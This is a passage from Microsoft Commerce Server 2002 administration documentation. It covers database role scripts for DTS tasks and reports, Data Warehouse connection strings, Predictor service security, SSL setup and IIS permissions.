  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select the DTS security script you want to run.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the selected database.
  7. Repeat these steps to run the remaining DTS task security scripts on the appropriate databases.
  8. After you create the DTS_ImportRole on each database, assign to each role the account of the appropriate users who will run the DTS tasks. For instructions, see Assigning SQL Server Database Roles.

See Also

Permissions Required to Run DTS Tasks


Dts_AdminDB_SecurityRole.sql Script

Run this script against the Administration database. For instructions, see Scripts for Securing Databases Accessed by DTS Tasks.

This script creates the DTS_ImportRole on the Administration database. Add the user who is going to run the Commerce Server DTS tasks to this role.

The Dts_AdminDB_SecurityRole.sql script grants the DTS_Import role permissions on the following Administration database tables.

Administration table | Permissions required by the DTS tasks
ExtendedProps | Select Insert Update Delete
Pupdbscripts | Select
ResourceProps | Select Insert Update Delete
Resources | Select Update
SiteResources | Select
Sites | Select Update
SystemProps | Select

See Also

Permissions Required to Run DTS Tasks


Dts_CommerceDB_Campaign_SecurityRole.sql Script

Run this script against the Campaigns database. For instructions, see Scripts for Securing Databases Accessed by DTS Tasks.

This script creates the DTS_ImportRole on the Campaigns database. Add the user who is going to run the Campaign data import DTS task to this role.

The Dts_CommerceDB_Campaign_SecurityRole.sql script grants the DTS_Import role Select permissions on the following Campaigns database tables:

ad_item
campaign
campaign_item
campaign_item_types
creative
creative_size
creative_type
creative_type_xref
customer
dm_item
event_type
industry_code
order_discount
page_group
page_group_xref
target
target_group
target_group_xref

See Also

Permissions Required to Run DTS Tasks


Dts_CommerceDB_Catalog_SecurityRole.sql Script

Run this script against the Catalog database. For instructions, see Scripts for Securing Databases Accessed by DTS Tasks.

This script creates the DTS_ImportRole on the Catalog database. Add the user who is going to run the Product catalog import DTS task to this role.

The Dts_CommerceDB_Catalog_SecurityRole.sql script grants the DTS_Import role Select permissions on the following Catalog database tables:

  • CatalogGlobal
  • CatalogAttributes
  • All the tables and views that have a prefix of the catalog name from the CatalogGlobal table

See Also

Permissions Required to Run DTS Tasks


Dts_CommerceDB_Transaction_SecurityRole.sql Script

Run this script against the Transaction database. For instructions, see Scripts for Securing Databases Accessed by DTS Tasks.

This script creates the DTS_ImportRole on the Transaction database. Add the user who is going to run the Transaction data import DTS task to this role.

The Dts_CommerceDB_Transaction_SecurityRole.sql script grants the DTS_Import role Select permissions on the following Transaction database tables:

OrderFormHeader
OrderFormLineItems
OrderGroup
OrderGroupAddresses
TransCategory
TransDimension

See Also

Permissions Required to Run DTS Tasks


Dts_CommerceDB_UPM_SecurityRole.sql Script

Run this script against the Profiles database. For instructions, see Scripts for Securing Databases Accessed by DTS Tasks.

This script creates the DTS_ImportRole on the Profiles database. Add the user who is going to run the Profile data import DTS task to this role.

The Dts_CommerceDB_UPM_SecurityRole.sql script grants the DTS_Import role Select permissions on the following Profiles database tables:

ClassDef
ClsAttrib
ColDef
CommerceServerCatalogs
GroupMem
MemAttrib
MemberDef
RelDef
SourceAttrib
SourceDef
TableDef

Profile Schema Changes

If you change the profile schema and add new objects, you will need to grant Select permissions on those objects so the Profile data import task works correctly.

For example, if you unpack a Solution Site, you must grant Select permissions on the following tables for the profile schema included with the Solution Sites:

Addresses
BlanketPOs
OrganizationObject
UserObject

See Also

Permissions Required to Run DTS Tasks


Permissions Required to Run DTS Tasks

To run the Commerce Server DTS tasks, your login account must be configured as follows:

  • The account must be a member of DTS_ImportRole on the database for the DTS task you running.
  • On the computer on which you will run the DTS tasks, assign the DTSImport account to the "Power Users" group.
  • The account must be mapped to the dbo user in the Data Warehouse database. To map a login name to the dbo, in Query Analyzer, run the sp_addalias stored procedure as follows:
    Exec sp_addalias 'domain\login','dbo'

    To run sp_addalias in Query Analyzer, you must be logged in with "sa" privileges.

    The sp_addalias stored procedure will fail if the user has already been added to the Data Warehouse. Do not add the account by using any method other than the sp_addalias stored procedure.

  • The account must be a member of the Administrators role for the Commerce Server Config COM+ application on the computer on which you intend to run the DTS tasks.

    Only users in the Administrators role can instantiate the GlobalConfig2 object, which is required for running DTS tasks. For more information about the Administrators role for the Config application, see Commerce Server Config COM+ Application.

  • To run the Data Warehouse Import Wizard and save a package, your account must have Select, Insert, and Update permissions on the msdb database of the SQL Server on which you are running the DTS tasks. The msdb database is used by SQL Server Agent for scheduling alerts and jobs, and it is accessed to save the DTS package. In addition, assign the same permissions on the sysDTSPackage object, which allows users to save a DTS package.

The following table lists the roles to which the login account must belong to run specific DTS tasks.

To run this DTS task | You must belong to these roles
Configuration synchronization | DTS_ImportRole on the Administration database
Web server log import | DTS_ImportRole on the Administration database
Transaction data import | DTS_ImportRole on the Transactions database
Product catalog import | DTS_ImportRole on the Catalog database
Profile data import | DTS_ImportRole on the Profiles database
Campaign data import | DTS_ImportRole on the Campaigns database
Data deletion | DTS_ImportRole on the Administration database
IP resolution | No additional roles required
Report preparation | OLAP Administrators group
Report caching | OLAP Administrators group

Notes

  • Rerun the CatalogSecurityRoles script and the Dts_CommerceDB_Catalog_SecurityRole script after you do any of the following tasks:
    • Create new catalogs
    • Add languages to a catalog
    • Rebuild virtual catalogs
  • Rerun the Dts_CommerceDB_Campaign_SecurityRole script after you create new campaigns.
  • When you extend the Profiles database (create new profile definitions), manually assign permissions to the DTSImport account.
  • The Config COM+ application account must be a member of the db_owner role on the Data Warehouse SQL Server.

For information about the permissions required to run the Model Builder DTS task, see Securing a Predictor Deployment.

See Also

Scripts for Securing Databases Accessed by DTS Tasks


Scripts for Securing Databases Accessed by Reports

Commerce Server provides the following two scripts that you can use to create two report roles:

  • ReportViewer.sql. Use this script to create the ReportViewerRole on the Data Warehouse SQL Server database. The ReportViewerRole has permissions for Business Desk users to perform the following tasks:
    • Run and view dynamic and static reports
    • Delete completed static reports
    • Export static reports

    To export static reports, the user also needs permissions to access the lm_master and lm_master_operation tables in the Commerce database. These tables are only created when a report is exported.

    In addition, the List Manager service account must be mapped to the dbo alias for the Data Warehouse. For more information, see Permissions Required to Export Static Reports and Segments to List Manager.

  • ReportAdvanced.sql. Use this script to create the ReportAdvancedRole on the Data Warehouse SQL Server database. The ReportAdvancedRole has permissions for Business Desk users to perform the following tasks:
    • Save dynamic reports
    • Modify existing non-system dynamic reports
    • Delete non-system dynamic and static reports

    This script adds itself as a member to ReportViewerRole, so users in the ReportAdvancedRole will inherit all permissions of ReportViewerRole.

These scripts do not include the necessary permissions for the Commerce database. You must assign the CREATE TABLE permissions on the Commerce database.

These scripts are located in the \Program Files\Microsoft Commerce Server\Support folder.

To run the ReportViewer and ReportAdvanced scripts

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the Data Warehouse SQL Server database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select ReportViewer.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the Data Warehouse database.
  7. Repeat these steps to run the ReportAdvanced script.

    The ReportAdvanced script adds itself as a member to ReportViewerRole, so users in the ReportAdvancedRole will inherit all permissions of ReportViewerRole.

  8. After you create the roles, assign the Business Desk group account to the ReportViewerRole, and then assign the ReportAdvanced account to the ReportAdvancedRole. For instructions, see Assigning SQL Server Database Roles.


ReportViewer.sql Script

The ReportViewer.sql script is located in the \Program Files\Microsoft Commerce Server\Support folder.

The ReportViewer.sql script grants the ReportViewer role permissions on the tables in the Data Warehouse SQL Server database and the OLAP database.

This section describes the permissions granted on the tables and views.

Running and Viewing Dynamic Reports (SQL): SELECT

Two dynamic reports access data in the Data Warehouse SQL Server database:

  • Registered Users by Date Registered report
  • User Registration Rate report

To enable Business Desk users to run and view these dynamic reports, the ReportViewer.sql script grants the ReportViewer role Select permissions on the following tables in the Data Warehouse:

Report
RegisteredUser
LinkSiteRegisteredUserRel

Running and Viewing Dynamic Reports (OLAP): SELECT

To enable Business Desk users to run and view dynamic reports that use data in the Data Warehouse OLAP database, the ReportViewer.sql script grants the ReportViewer role Select permissions on the following views in the OLAP database:

CampaignItemDimensionView
csdw_BuyerTypeDimensionView
csdw_CampaignEventsDXView
csdw_CampaignEventsFactView
csdw_SalesToUser
csdw_UserStatusViewLU
csdw_UserStatusViewRU
csdw_UserTypeDimensionView
csdw_VisitByUser
csdw_VisitInfoDXView
csdw_VisitInfoFactView
csdw_VisitTypeDimensionView
DateDimensionView
EventsDimensionView
FirstRequest
IsRequestDimensionView
PageGroupDimensionView
RegisteredUserDimensionView
SiteDimensionView
sysconstraints
syssegments
Trans_Predictor
UserBrowsingtoPurchaseFactView
UserRegistrationFactView

Viewing Static Reports: SELECT

To enable Business Desk users to view static reports that use data in the Data Warehouse SQL Server database, the ReportViewer.sql script grants the ReportViewer role Select permissions on the following tables in the Data Warehouse database:

ReportDimension
ReportInstanceDbObject
ReportInstanceParam
ReportParam
ReportStatus
GroupReportJob
GroupReportStatus
GroupReportDbObject

Running Static Reports: INSERT

To enable Business Desk users to run static reports that use data in the Data Warehouse SQL Server database, the ReportViewer.sql script grants the ReportViewer role Insert permissions on the following tables in the Data Warehouse database:

ReportInstanceDbObject
ReportInstanceParam
ReportStatus
GroupReportJob
GroupReportStatus
GroupReportDbObject

Deleting Completed Static Reports: DELETE

To enable Business Desk users to delete static reports that use data in the Data Warehouse SQL Server database, the ReportViewer.sql script grants the ReportViewer role Delete permissions on the following tables in the Data Warehouse database:

ReportInstanceParam
ReportStatus

See Also

Data Warehouse Connection Strings

Configuring Data Warehouse Connection Strings

Configuring the Analysis Server Account

Accessing the Analysis Server Over HTTPS

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports


ReportAdvanced.sql Script

The ReportAdvanced.sql script is located in the \Program Files\Microsoft Commerce Server\Support folder.

The ReportAdvanced.sql script creates the ReportAdvanced database role. The ReportAdvanced role inherits all of the permissions granted to the ReportViewer role.

The ReportAdvanced.sql script grants the ReportAdvanced role permissions on the tables in the Data Warehouse SQL Server database so that Business Desk users can do the following:

  • Create new dynamic reports
  • Delete custom reports
  • Modify existing reports

The ReportAdvanced.sql script grants the ReportAdvanced role the following permissions on the specified Data Warehouse tables:

Data Warehouse table Permission
Report
 Insert
Update
Delete
ReportDimension
 Delete
ReportParam
 Delete
ReportStatus
 Delete
GroupReportJob
 Delete
GroupReportStatus
 Delete
GroupReportDbObject
 Delete


Permissions Required to Export Static Reports and Segments to List Manager

When you export a static report or a segment to List Manager, the Report Manager component writes the content to the following tables in the Campaigns database:

lm_master
lm_operations

The account for Report Manager must have Select and Insert permissions on these tables. (By default, Report Manager runs under the local account.)

The List Manager account requires Read permissions on all files that it must import. These permissions are ACLs set on the files.

Important

  • The account for the List Manager service must be mapped to the dbo user in the Data Warehouse database. To map a login name to the dbo, in Query Analyzer, run the sp_addalias stored procedure as follows:
    Exec sp_addalias 'login','dbo'

    To run the sp_addalias stored procedure in Query Analyzer, you must be logged in with "sa" privileges.

    The sp_addalias stored procedure will fail if the user has already been added to the Data Warehouse. Do not add the account by using any method other than the sp_addalias stored procedure.


Configuring the Analysis Server Account

The following Commerce Server views are used by dynamic reports that run against the SQL Server database. Grant the account that you define for the Analysis Server (OLAP) database Select access to all of these views. No other role or account requires access to these views:

CampaignItemDimensionView
csdw_BuyerTypeDimensionView
csdw_CampaignEventsDXView
csdw_CampaignEventsFactView
csdw_SalesToUser
csdw_UserStatusViewLU
csdw_UserStatusViewRU
csdw_UserTypeDimensionView
csdw_VisitByUser
csdw_VisitInfoDXView
csdw_VisitInfoFactView
csdw_VisitTypeDimensionView
DateDimensionView
EventsDimensionView
FirstRequest
IsRequestDimensionView
PageGroupDimensionView
RegisteredUserDimensionView
SiteDimensionView
sysconstraints
syssegments
Trans_Predictor
UserBrowsingtoPurchaseFactView
UserRegistrationFactView

See Also

Data Warehouse Connection Strings

Configuring Data Warehouse Connection Strings

Configuring the Analysis Server Account

Accessing the Analysis Server Over HTTPS

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports


Accessing the Analysis Server Over HTTPS

Note

  • This functionality requires SQL Server 2000 Enterprise Edition, including the Enterprise Edition of Analysis Server.

The Business Analytics System enables a Business Desk user to run dynamic reports by connecting to Analysis Services (to access the OLAP database) through Internet Information Services (IIS). You can do this by using HTTP or HTTPS. When you configure this connection method by using HTTPS, the PivotTable service can tunnel through firewalls or proxy servers to the Analysis Services server.

A figure that shows how you can configure your site so Business Desk users can run reports across firewalls.

You perform the following steps to configure access to Analysis Services over HTTPS:

  • Install IIS and SQL Server Analysis Services 2000 on the same computer. For instructions, see the Commerce Server 2002 Installation Guide.
  • Configure the Analysis Services client connection string (ConnStr_OLAP_Client) by using Commerce Server Manager to access the Data Warehouse Properties dialog box. You specify a URL in the Data Source property of the connection string.
  • Configure Msolap.asp by using IIS.

To access Analysis Services over HTTPS, the format of the ConnStr_OLAP_Client connection string is:

Provider=MSOLAP;user id=Domain\Username;password=Password;Data Source=https://ServerName;Initial Catalog=OLAPDatabaseName

Note

  • It is recommended that you use HTTPS and Basic Authentication in the preceding connection string. This is because the user ID and password in the connection string is sent in clear-text when Basic Authentication is used. The user ID and password can be any valid Windows user on the Analysis Services computer in the form of <domain>\<userID>, for example, REDMOND\SeanChai. It is recommended that you use the Windows account you create for the Report role as described in Scripts for Securing Databases Accessed by Reports.
  • Secure Sockets Layer (SSL) and HTTPS require more hardware resources than HTTP. For more information, see "About Encryption" in the Internet Information Services 5.0 documentation.

To configure the Analysis Services client connection string (ConnStr_OLAP_Client)

  1. Expand Commerce Server Manager, expand Global Resources, right-click Data Warehouse, and then click Properties.
  2. On the Analysis Server tab of the Data Warehouse Properties dialog box, in the Client Connection section, do the following:
    Use this | To do this
    Connect using HTTP | Select this option.
    Use SSL | Select this option.
    User ID and Password Type a valid Windows user ID and password in the form of <domain>\<userID>, for example, REDMOND\SeanChai.

    It is recommended that you use the Windows account you create for the Report role.
    Server | Type the name of the Analysis Server.
    Database | Type the name of the Data Warehouse OLAP database.
  3. To save your changes, click OK.

To configure Msolap.asp

  1. Using Windows Explorer, copy Msolap.asp from the \Program Files\Microsoft Analysis Services\Bin folder to the \Inetpub\wwwroot folder.
  2. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  3. Expand the server you are administering, and then click Default Web Site.
  4. In the details pane, right-click Msolap.asp, and then click Properties.
  5. In the Properties dialog box, on the File tab, select Read, and then select Script Source Access.
  6. Click Apply to set these properties.
  7. On the File Security tab, in the IP address and domain name restrictions section, click Edit.
  8. Click Denied Access, and then click Add to grant access only to authorized IP ranges.
  9. Click OK to set these properties.
  10. On the File Security tab, in the Anonymous access and authentication control section, click Edit.
  11. Verify that Anonymous access is not selected, and Basic Authentication is selected.
  12. On the File Security tab, in the Security Communications section, click Edit.
  13. Verify that Require Secure Channel (SSL) is selected.

    Important

    • If you have not set up an SSL certificate on this computer, you cannot use the "Use SSL" option in the Client Connection section of the Data Warehouse Properties dialog box in Commerce Server Manager. If you attempt to do so, the connection will not validate. For information about setting up an SSL certificate, see the IIS documentation.
  14. Click OK to close the Data Warehouse Properties dialog box.
  15. To implement the new properties, use the IISReset command to restart IIS.

Note

  • After you activated the Analysis Server Over HTTPS feature, you can only view reports that access the Analysis Server, not the SQL Server. For example, some of the dynamic reports (Registered User by Date Registered, User Days to Register, and User Registration Rate) need access to SQL Server. However, using the Analysis Server Over HTTPS feature, the data will not be available even though you may have SQL Server running. This is because you cannot connect to the SQL Server once you have activated the feature.

See Also

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports


Configuring Data Warehouse Connection Strings

You can configure the Data Warehouse connection strings programmatically or by using Commerce Server Manager.

Using Commerce Server Manager to Configure the Connection Strings

Programmatically Configuring the Connection Strings

Queries to Read Data Warehouse Connection Strings from the Administration Database

Using Commerce Server Manager to Configure the Connection Strings

  1. In Commerce Server Manager, expand Global Resources, right-click Data Warehouse, and then click Properties.
  2. On the SQL Server tab, specify the authentication mode for the connstr_db_dw and connstr_db_Analysis connection strings.
    • If you specify SQL Server Authentication, the user ID and password will be used in connstr_db_dw, but connstr_db_Analysis (the client-side connection string) will continue to use Windows Authentication for security reasons.
    • If you specify Windows NT Authentication, connstr_db_dw will be configured to use Windows Authentication.

    The following sample dialog box shows which connection strings are configured in the dialog box.

    A sample screen showing how connections strings are configured for the SQL Server Data Warehouse database.

  3. On the Analysis Server tab, specify the authentication mode for the ConnStr_OLAP, ConnStr_OLAP_HA, and ConnStr_OLAP_Client connection strings.

    The following sample dialog box shows which connection strings are configured in each section of the dialog box.

A sample screen showing how connection strings are configured for the Analysis Server.

Programmatically Configuring the Connection Strings

When you configure the Data Warehouse connection strings programmatically, you must also update a set of parsed properties:

  • When you update the Data Warehouse SQL Server connection strings, ConnStr_dw, connstr_db_dw, and connstr_db_Analysis, you must also update the following parsed properties:
    Property Description
    Schema_ctlgDbName
            The Data Warehouse database name, for example, BlankSite_dw.
    Schema_ctlgName
            The schema catalog name, for example, DWSchema.
    Schema_ctlgUserID
            The UserID from the Data Warehouse connection string. This string should be empty if you are using Windows Authentication.
    Schema_ctlgPsw
            The password from the Data Warehouse connection string. This string should be empty if you are using Windows Authentication.
    Schema_ctlgSqlServerName
            The Data Warehouse SQL Server name.
  • When you update the Analysis Server OLAP database connection string, ConnStr_OLAP, you must also update the following parsed properties:
    Property Description
    Schema_ctlgNameOLAPDbName
            The Analysis Server OLAP database name.
    Schema_ctlgNameOLAPServerName
            The Analysis Server name.

Queries to Read Data Warehouse Connection Strings from the Administration Database

You can use the following queries to read the Data Warehouse connection strings from the MSCS_Admin database. These queries are useful when you are trying to determine what connection strings are stored in the Administration database:

Select s_Value from ResourceProps where s_PropertyName = 'connstr_db_dw'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_DB_Analysis'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP_Client'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP_HA'

See Also

Configuring Data Warehouse Connection Strings

Configuring the Analysis Server Account

Accessing the Analysis Server Over HTTPS

Scripts for Securing Databases Accessed by Reports


Changing the Data Warehouse Password

If you change the system administrator password for your SQL Server computer, you must also change the password in the Commerce Server Data Warehouse and the connection strings for all resources.

When you change the Data Warehouse password, you must change it in two places:

  • The Data Warehouse global resource, which specifies the connection string to the SQL Server Data Warehouse database.
  • The Data Warehouse OLAP database, which has a connection to the SQL Server Data Warehouse database.

To change the Data Warehouse password

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Global Resources, right-click the Data Warehouse for which you want to change the password, and then click Properties.
  3. In the Data Warehouse Properties dialog box, click the SQL Server tab.
  4. On the SQL Server tab, in the Password box, type the new password, and then click OK.
  5. In Commerce Server Manager, expand Analysis Server, expand the name of the OLAP server, expand the OLAP database, and then expand Data Sources.
  6. Right-click the Data Warehouse data source (for example, COMMERCE_DataWarehouse), and then click Edit.
  7. In the Data Link Properties dialog box, type the new password, and then click OK.

See Also

Configuring a Global Resource

Scripts for Securing Databases Accessed by Reports

Configuring Data Warehouse Connection Strings

Configuring the Analysis Server Account

Accessing the Analysis Server Over HTTPS


Changing the Report Manager Account

To generate static reports, the Report Manager, a report-rendering component, runs on the SQL Server computer and accesses the required Data Warehouse tables for the static reports. Business Desk users do not directly access the Report Manager.

The Report Manager runs under the local account. This security context allows the Business Desk application to run reports, without specifying additional permissions for IIS, which could compromise security.

Important

  • For static reports to run, you must assign the db_owner role in the Data Warehouse database for the user specified in the Commerce Server Report Manager COM+ component.

To change the Report Manager account

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Computers, expand My Computer, and then expand COM+ Applications.
  3. Right-click Commerce Server Report Manager, and then click Properties.
  4. In the Commerce Server Report Manager Properties dialog box, on the Identity tab, specify the user and password for Report Manager, and then click OK.


Securing a Predictor Deployment

You perform the following steps to secure a Predictor deployment that uses Windows Authentication:

Secure the Predictor Service account.

Grant permissions to run the Model Builder DTS task.

Configure the Predictor resource connection strings using Windows Authentication.

Run the SegmentViewer script to secure Predictor tables.

Secure the Predictor model deployed to the Web server.

Grant permissions to use the Segment Viewer and Affinity Lists modules.

Securing the Predictor Service Account

The account assigned to the Predictor service must have the Log on as service right. Commerce Server grants the account this right during setup.

The account assigned to the Predictor service must be assigned to the following roles:

  • Administration database. Assign to the db_datareader role.
  • Data Warehouse SQL Server database. Assign to the db_datareader, db_datawriter, and db_ddladmin roles.
  • List Manager tables. Assign Select, Update, Insert, and Delete permissions.
  • Campaigns database. Assign db_ddladmin role, db_datawriter, and db_datareader.
  • Config COM+ Application. Assign to the Administrators role.

To grant the Predictor service account access to the appropriate databases

  1. In SQL Enterprise Manager, expand Security, right-click Logins, and then click New Login.
  2. Create a new login for the Predictor service using Windows Authentication, and then click OK.
  3. In the display pane, right-click the new login, and then click Properties.
  4. In the SQL Server Login Properties dialog box, on the Database Access tab, specify the Administration database, and then select the db_datareader role.
  5. Specify the Data Warehouse SQL Server database, and then assign the following roles: db_datareader, db_datawrite, and db_ddladmin.
  6. Click OK.

For more detailed information, see SQL Server Books Online.

To assign the Predictor service account to the Administrators role

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand Computers, expand My Computer, expand COM+ Applications, expand Commerce Server Config, expand Roles, and then expand Administrators.
  3. Right-click Users, select New, and then select User.
  4. In the Select Users or Groups dialog box, in the Look in box, select the Predictor service account, for example, CSPred.
  5. Click OK.

Granting Permissions to Run the Model Builder DTS Task

Before you can run the Model Builder DTS task, you must first add your account to the security context of the Predictor service component, that is, to a list of user accounts that are allowed to call the Predictor service.

If you are setting up the Model Builder task to run on a scheduled basis, then you must also add the account for SQL Agent to the list of user accounts that are allowed to call the Predictor service.

To add your account to the Predictor security context

  1. Click Start, click Run, type Dcomcnfg, and then press ENTER.
  2. On the Applications tab, select Microsoft Commerce Server Predictor Service, and then click Properties.
  3. On the Security tab, select Use custom access premissions, and then click Edit.
  4. In the Registry Value Permissions dialog box, click Add.
  5. Add the user account you want to run the Model Builder task, and in the Type of Access box, select Allow Access.
  6. The Administrators group must have the Log on as a service right.
  7. Click OK to save your the changes, click OK to exit the Properties dialog box, and then click OK to exit Dcomcnfg.
  8. Restart the Predictor service.

Configuring the Predictor Resource Connection Strings

If you are building models on a database other than the Data Warehouse database, you need to configure a connection string for the Predictor resource to the external database.

It is recommended that you always configure the Predictor resource connection string to an external database for Windows Authentication.

When you configure the Predictor resource to use Windows Authentication, the account used by the Predictor resource must be a member of the following roles on the external database:

  • db_datareader
  • db_datawriter
  • db_ddladmin

If the Predictor service is on one computer, and the external database is on another computer, then the Predictor service account must be a domain user account.

To configure the Predictor resource connection string for Windows Authentication

  1. Expand Commerce Server Manager, expand Global Resources, right-click Predictor on <server name>, and then click Properties.
  2. In the Predictor on <server name> Properties dialog box, on the Connection Strings tab, select External database, and then click Modify.
  3. In the Data Link Properties dialog box, do the following:
    Use this | To do this
    Select or enter a server name | Select the name of the server that contains the Data Warehouse database you want to access, or the external database.
    Use Windows NT Integrated security | Click to use Windows Authentication for the external database (not the Data Warehouse database).
    Select the database on the server | Type the database name that you want to access.
  4. Click OK.

Running the SegmentViewer Script to Secure Predictor Tables

In this step, you run the SegmentViewer script against the Data Warehouse SQL Server database. This script creates the SegmentViewer role on the Data Warehouse, and grants the role the appropriate permissions work with the Segment Viewer module in Business Desk.

The Predictor tables reside in the Data Warehouse database. The following table lists the Predictor tables, and the permissions required by system administrators and business managers.

Table Permissions for system administrators Permissions for business managers
PredictorDataTables
 Full access Select
Update
PredictorModelCfgs
 Full access Select
Update
PredictorModels
 Full access Select
Update
*PredictorAttribute_<model_config>
 Full access Select

*There is one PredictorAttribute_<model_config> table per model configuration. It is created the first time a model is built.

System administrators require full access to these tables when they run the Model Builder DTS task. Business Desk users require Select permissions so they can manipulate the segments using Segment Viewer module in Business Desk.

Note

  • It is recommended that you use different accounts for running the Predictor service and the Model Builder DTS tasks. If both accounts are assigned to the Administrators group, the Model Builder task will fail with a permission denied error.

    To solve this issue, change the Predictor service account to use the local system account, and then restart the Predictor service. For more information, see Predictor Service Account.

For information about creating Windows groups, assigning Windows accounts to the groups, and then assigning the Windows groups to the SQL Server roles for these tables, see Assigning SQL Server Database Roles.

To run the SegmentViewer script

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the Data Warehouse SQL Server database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and then select SegmentViewer.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the Data Warehouse.

    The SegmentViewer role is created.

  7. After you create the role, assign the appropriate Business Desk group account to the role. For instructions, see Assigning SQL Server Database Roles.

Securing the Predictor Model Deployed to the Web Server

The steps you perform to secure a Predictor deployment depends on whether the Predictor model resides on the Web server in a file or in a database.

  • Database. If you copy the Predictor tables from the Data Warehouse to a database on the Web server, you must grant Select permissions to the anonymous accounts. In IIS, the anonymous user account is IUSR_<computer_name>, and the machine account is IWAM_<computer_name>.

    If your site is based on ASP.NET, you must grant these Select permissions to the anonymous account used by ASP.NET sites: the ASPNET account.

  • File. If you copy the Predictor model to the Web server as a file, then you must secure the file by using access control lists (ACLs). Grant read access to Everyone. For instructions, see Windows 2000 Help.

For instructions about deploying Predictor models to a database or file on the Web server, see Deploying Predictor.

Granting Permissions to Use the Segment Viewer and Affinity Lists Modules

You use the Business Desk Permissions module to grant Business Desk users access to the Segment Viewer and Affinity Lists modules. You can specify which Business Desk users can open the modules, and who can perform specific tasks using the modules. For example, you can specify the following:

  • Segment Viewer module: Open, save segment labels, create a report, export user lists to the List Manager module
  • Affinity Lists module: Open, export affinity lists to the List Manager module

For detailed instructions about using the Permissions module to grant access to the Segment Viewer and Affinity Lists modules, see Setting Business Desk Permissions for Windows Accounts.


Securing Your Network

For detailed information about securing your network, see Deploying a Secure Site.

To implement network protection in an e-commerce site, you use the following security elements:

  • Enabling SSL on a Commerce Server Site
  • Using an Intrusion Detection System


Enabling SSL on a Commerce Server Site

In an e-commerce site, you process sensitive information, such as customer credit card numbers. This data must be encrypted and transmitted over a secure channel. For implementing secure data transfer, you use Secure Sockets Layer (SSL).

To implement this functionality, you need to acquire a digital certificate and install it on your server(s). You can apply to one of the certification authorities for a digital certificate. Some of the commonly known commercial certification authorities are VeriSign, CyberTrust, and GTE.

SSL is a scheme for protocols such as HTTP (named HTTPS when secure), FTP, and Network News Transfer Protocol (NNTP). When you use SSL to transmit data:

  • The data is encrypted.
  • A secure connection is established between the source and destination servers.
  • Server authentication is enabled.

To enable SSL on a Commerce Server site

  1. In Internet Services Manager, use the Web Server Certificate Wizard to install and configure a server certificate on your Web server. For instructions, see "Setting Up SSL on Your Server" in the IIS 5.0 documentation.
  2. In Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  3. Expand Applications, right-click the application you want to configure, and then click Properties.
  4. In the <application> Properties dialog box, on the General tab, select Enable HTTPS.
  5. In the Web Servers tab, click Synchronize Values to copy the SSL port property from IIS to the Commerce Server Administration database.

    The default value for the SSL port is 443. If you have a value other than 443 here, you must type that value in the Secure host name box on the General tab (for example, www.microsoft.com:441).

Note

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Deploying a Secure Site

Configuring an Application

Configuring a Web Server

Configuring CS Authentication Resource Properties


Using an Intrusion Detection System

An intrusion detection system (IDS) can identify attack signatures or patterns, generate alarms to alert the operations staff, and cause the routers to terminate connections with hostile sources. These systems can also prevent denial–of-service attacks.

A denial-of-service attack occurs when an attacker sends fragments of TCP requests masked as legitimate TCP requests or sends requests from a bad IP source. The server cannot handle so many requests and displays a denial-of-service message to legitimate site users. An IDS provides real-time monitoring of network traffic and implements the "prevent, detect, and react" approach to security.

You should implement an IDS in front of a firewall in every security domain. Although IDSs are necessary for security, you should consider the following issues associated with their use:

  • They are processing-intensive; an IDS can affect the performance of your site.
  • They are expensive.
  • An IDS can sometimes mistake normal network traffic for a hostile attack and cause unnecessary alarms.

There are a number of third-party tools available for intrusion detection. For example, you can use Cisco's NetRanger or ISS's RealSecure for real-time network traffic monitoring. Enhancing and developing IDS technology is an ongoing process within the computer industry.

See Also

Preventing Denial of Service Attacks


Securing Your Web Server

You can set IIS Web server permissions to limit the access of anonymous users to your applications, and can also be used to limit the viewing of source code over the Internet, even for users with Windows permissions (or access control entries (ACEs)).

Following are the differences between Web server permissions and NTFS permissions:

  • Web server permissions apply to all users accessing your Web sites.
  • NTFS permissions apply only to a specific user or group of users with a valid Windows account. NTFS controls access to physical directories on your server, whereas Web server permissions control access to virtual directories on your Web site.

When you use Site Packager to package a site, it will pick up the Web server permissions as set in the source site. For example, if you have the Execute Permissions setting set to "Scripts and Executables" in the root folder of the application on the source computer, the virtual root folder on the destination computer will have the same setting.

For example, the following table describes how the IIS permissions are set in the Commerce Server Solution Sites.

Folder | Permissions
Root | Set Execute permission to Scripts and Executables.
Pipeline, Include, Template | Deny permission to Read, Write, and Execute.

This section contains:

  • Securing a Non-Business Desk Application
  • Securing Your IIS Log File Folder
  • Securing Your Pipeline Logging Folder
  • Archiving Your IIS Log Files


Securing a Non-Business Desk Application

When you unpack a non-Business Desk application, if you use an Unpack.vbs script file that you created, you must delete or secure the file immediately after unpacking. The file exists in the root directory, and can be accessed by anonymous users. Unauthorized use of this script could lead to denial of service or the breaking of site settings.

